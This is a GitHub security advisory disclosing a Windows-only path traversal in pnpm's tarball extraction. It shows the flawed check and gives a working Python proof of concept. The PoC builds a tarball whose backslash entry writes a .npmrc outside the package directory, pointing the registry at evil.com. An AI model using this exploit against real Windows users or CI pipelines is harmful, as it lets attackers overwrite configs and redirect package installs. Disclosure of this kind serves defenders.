GHSA-6x96-7vc8-cm3p
pnpm has Windows-specific tarball Path Traversal
Packages
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
A path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\`. On Windows, backslashes are directory separators, enabling path traversal.
**This vulnerability is Windows-only.**
### Details
**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**
```typescript
if (fileName.includes('./')) {
fileName = path.posix.join('/', fileName).slice(1)
}
```
A path like `foo\..\..\.npmrc` does NOT contain `./` and bypasses this check.
**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**
- On Unix: Backslashes are literal filename characters (safe)
- On Windows: Backslashes are directory separators (exploitable)
### PoC
1. Create a malicious tarball with entry `package/foo\..\..\.npmrc`
2. Host it or use as a tarball URL dependency
3. On Windows: `pnpm install`
4. Observe `.npmrc` written outside package directory
```python
import tarfile, io
tar_buffer = io.BytesIO()
with tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:
pkg_json = b'{"name": "malicious-pkg", "version": "1.0.0"}'
pkg_info = tarfile.TarInfo(name='package/package.json')
pkg_info.size = len(pkg_json)
tar.addfile(pkg_info, io.BytesIO(pkg_json))
malicious_content = b'registry=https://evil.com/\n'
mal_info = tarfile.TarInfo(name='package/foo\\..\\..\\.npmrc')
mal_info.size = len(malicious_content)
tar.addfile(mal_info, io.BytesIO(malicious_content))
with open('malicious-pkg-1.0.0.tgz', 'wb') as f:
f.write(tar_buffer.getvalue())
```
### Impact
- Windows pnpm users
- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)
- Can overwrite `.npmrc`, build configs, or other files
Verified on pnpm main @ commit 5a0ed1d45.
References
External links from the advisory. They lead to third-party sites.